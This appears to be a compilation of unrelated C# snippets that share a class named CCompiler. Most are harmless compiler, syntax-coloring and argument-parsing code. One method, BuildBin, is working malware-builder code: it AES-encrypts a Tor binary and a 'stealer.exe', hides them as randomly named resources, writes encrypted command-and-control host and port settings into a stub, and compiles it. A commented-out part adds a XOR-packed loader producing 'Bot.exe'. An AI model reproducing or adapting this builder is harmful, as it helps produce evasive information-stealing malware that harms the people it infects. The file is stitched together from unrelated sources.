static void Main(string[] args) { var tokens = TokenTest.GetTestTokens(); var compiler = new CCompiler(tokens); compiler.Compile(); var compilerTokens = compiler.GetCompilerTokens(); var symbolTable = compiler.GetSymbolTable(); var virtualMachine = new VVirtualMachine(compilerTokens, symbolTable); virtualMachine.RunCode(); }
public bool BuildBin() { if (!File.Exists("tor.exe")) { MessageBox.Show("Tor doesnt exist."); return(false); } try { String[] arr_strStub = this.ReadCode("Stub"); if (arr_strStub == null) { return(false); } String strAESKey = CUtils.RandomString(CUtils.RandomInt(12, 24)); if (OnLog != null) { OnLog.Invoke("Compiling Stub..."); } Byte[] arr_bTorBuffer, arr_bStealerBuffer = null; //Read Tor structure in-to array. arr_bTorBuffer = File.ReadAllBytes("tor.exe"); CAES AES = new CAES(strAESKey); //Encrypt Tor structure arr_bTorBuffer = AES.Encrypt(arr_bTorBuffer); //Read Stealer structure in-to array arr_bStealerBuffer = File.ReadAllBytes("stealer.exe"); //Encrypt Stealer structure arr_bStealerBuffer = AES.Encrypt(arr_bStealerBuffer); String strRandResName, strRandTorName, strRandStealerName; strRandResName = CUtils.RandomString(CUtils.RandomInt(15, 32)); strRandTorName = CUtils.RandomString(CUtils.RandomInt(15, 32)); strRandStealerName = CUtils.RandomString(CUtils.RandomInt(14, 32)); using (ResourceWriter rwWriter = new ResourceWriter(String.Format("{0}.resources", strRandResName))) { rwWriter.AddResource(strRandTorName, arr_bTorBuffer); rwWriter.AddResource(strRandStealerName, arr_bStealerBuffer); } for (int i = 0; i < arr_strStub.Length; i++) { if (arr_strStub[i].Contains("{SETTINGS_HERE}")) { string strSettings = AES.Encrypt(string.Format("{0}|{1}|{2}", m_strHost, m_strPort, m_iInterval)); arr_strStub[i] = arr_strStub[i].Replace("{SETTINGS_HERE}", strSettings); arr_strStub[i] = arr_strStub[i].Replace("{AES_KEY_HERE}", strAESKey); arr_strStub[i] = arr_strStub[i].Replace("{RAND_RES_NAME}", strRandResName); arr_strStub[i] = arr_strStub[i].Replace("{RAND_TOR_NAME}", strRandTorName); arr_strStub[i] = arr_strStub[i].Replace("{RAND_STEALER_NAME}", strRandStealerName); arr_strStub[i] = arr_strStub[i].Replace("{MUTEX_HERE}", CUtils.RandomString(16)); } /*if (arr_strStub[i].Contains("{HOST_HERE}")) * { * arr_strStub[i] = arr_strStub[i].Replace("{HOST_HERE}", m_strHost); * arr_strStub[i] = arr_strStub[i].Replace("{PAGE_HERE}", m_strPage); * arr_strStub[i] = arr_strStub[i].Replace("{INTERVAL_HERE}", m_iInterval.ToString()); * arr_strStub[i] = arr_strStub[i].Replace("{XOR_KEY}", strXorKey); * arr_strStub[i] = arr_strStub[i].Replace("{RAND_RES_NAME}", strRandResName); * arr_strStub[i] = arr_strStub[i].Replace("{RAND_TOR_NAME}", strRandTorName); * arr_strStub[i] = arr_strStub[i].Replace("{RAND_STEALER_NAME}", strRandStealerName); * }*/ } if (CCompiler.CompileFromSource(arr_strStub, "Stub.exe", m_bIsDebug, null, new string[] { String.Format("{0}.resources", strRandResName) })) { if (OnLog != null) { OnLog.Invoke("Stub compiled."); } /*String strPayloadKey = CUtils.RandomString(CUtils.RandomInt(12, 24)); * * byte[] arr_bStub = CUtils.Compress(CUtils.XorCrypt(File.ReadAllBytes("Stub.exe"), strPayloadKey)); * * using (ResourceWriter rwWriter = new ResourceWriter("res.resources")) * { * rwWriter.AddResource("payload", arr_bStub); * } * * String[] arr_strLoader = this.ReadCode("Loader"); * * for (int i = 0; i < arr_strLoader.Length; i++) * { * if (arr_strLoader[i].Contains("{XOR_KEY}")) arr_strLoader[i] = arr_strLoader[i].Replace("{XOR_KEY}", strPayloadKey); * } * * //File.Delete("Stub.exe"); * * if (OnLog != null) OnLog.Invoke("Compiling Loader..."); * if (CCompiler.CompileFromSource(arr_strLoader, "Bot.exe", null, new string[] { "res.resources" })) * { * if (OnLog != null) OnLog.Invoke("Loader compiled."); * return true; * }*/ return(true); } else { if (OnLog != null) { OnLog.Invoke("Compilation failed."); } } } catch { } return(false); }
public void ConvertTranslationUnit(CCompiler CCompiler, CParser.TranslationUnit Program) { Console.WriteLine(Program.ToYaml()); }
public static ColorSpan[] Colorize(string code, MachineInfo?machineInfo = null, Report.Printer?printer = null) { var report = new Report(printer); var mi = machineInfo ?? new MachineInfo(); var doc = new Document(DefaultCodePath, code); var lexed = new LexedDocument(doc, report); var compiler = new CCompiler(new CompilerOptions(mi, report, new[] { doc })); var exe = compiler.Compile(); IEnumerable <string> GetFuncs() { foreach (var f in mi.InternalFunctions) { yield return(f.Name); } foreach (var g in exe.Globals) { if (g.VariableType is CStructType) { yield return(g.Name); } } } var funcs = new HashSet <string> (GetFuncs()); var tokens = lexed.Tokens.Where(x => x.Kind != TokenKind.EOL).Select(ColorizeToken).ToArray(); return(tokens); ColorSpan ColorizeToken(Token token) => new ColorSpan { Index = token.Location.Index, Length = token.EndLocation.Index - token.Location.Index, Color = GetTokenColor(token), }; SyntaxColor GetTokenColor(Token token) { switch (token.Kind) { case TokenKind.INT: case TokenKind.SHORT: case TokenKind.LONG: case TokenKind.CHAR: case TokenKind.FLOAT: case TokenKind.DOUBLE: case TokenKind.BOOL: case TokenKind.TYPE_NAME: return(SyntaxColor.Type); case TokenKind.IDENTIFIER: if (token.Value is string s) { if (funcs.Contains(s)) { return(SyntaxColor.Function); } switch (s) { case "uint8_t": case "uint16_t": case "uint32_t": case "uint64_t": case "int8_t": case "int16_t": case "int32_t": case "int64_t": case "boolean": return(SyntaxColor.Type); case "include": case "define": case "ifdef": case "ifndef": case "elif": case "endif": return(SyntaxColor.Keyword); } } return(SyntaxColor.Identifier); case TokenKind.CONSTANT: if (token.Value is char) { return(SyntaxColor.String); } return(SyntaxColor.Number); case TokenKind.TRUE: case TokenKind.FALSE: return(SyntaxColor.Number); case TokenKind.STRING_LITERAL: return(SyntaxColor.String); default: if (token.Kind < 128 || Lexer.OperatorTokens.Contains(token.Kind)) { return(SyntaxColor.Operator); } else if (Lexer.KeywordTokens.Contains(token.Kind)) { switch (token.StringValue) { case "unsigned": case "signed": return(SyntaxColor.Type); default: return(SyntaxColor.Keyword); } } break; } return(SyntaxColor.Comment); } }
/// <summary> /// /// </summary> /// <param name="CCompiler"></param> /// <param name="TranslationUnit"></param> void ICConverter.ConvertTranslationUnit(CCompiler CCompiler, CParser.TranslationUnit TranslationUnit) { this.CCompiler = CCompiler; Traverse(TranslationUnit); }
public void ProcessArgs(string[] args) { CaptureExceptions(() => { #if false args = new[] { "-t=yaml" }; #endif var FileNames = new List <string>(); var CCompiler = new CCompiler(); CCompiler.SetTarget("cil"); if (args.Length == 0) { ShowHelp(); } var Getopt = new Getopt(args); { Getopt.AddRule(new[] { "--help", "-h", "-?" }, () => { ShowHelp(); }); Getopt.AddRule(new[] { "--target", "-t" }, (string Target) => { CCompiler.SetTarget(Target); }); Getopt.AddRule(new[] { "--version", "-v" }, () => { ShowVersion(); }); Getopt.AddRule(new[] { "-c" }, () => { CCompiler.CompileOnly = true; }); Getopt.AddRule(new[] { "--preprocess", "-E" }, () => { CCompiler.JustPreprocess = true; }); Getopt.AddRule(new[] { "--include_path", "-I" }, (string Path) => { CCompiler.AddIncludePath(Path); }); Getopt.AddRule(new[] { "--show_macros" }, () => { CCompiler.JustShowMacros = true; }); Getopt.AddRule(new[] { "-run" }, (string[] Left) => { CCompiler.ShouldRun = true; CCompiler.RunParameters = Left; }); Getopt.AddRule(new[] { "--show_targets" }, () => { ShowTargets(); }); Getopt.AddRule("", (string Name) => { FileNames.Add(Name); }); } Getopt.Process(); if (FileNames.Count == 0) { ShowHelp(); } CCompiler.CompileFiles(FileNames.ToArray()); }); }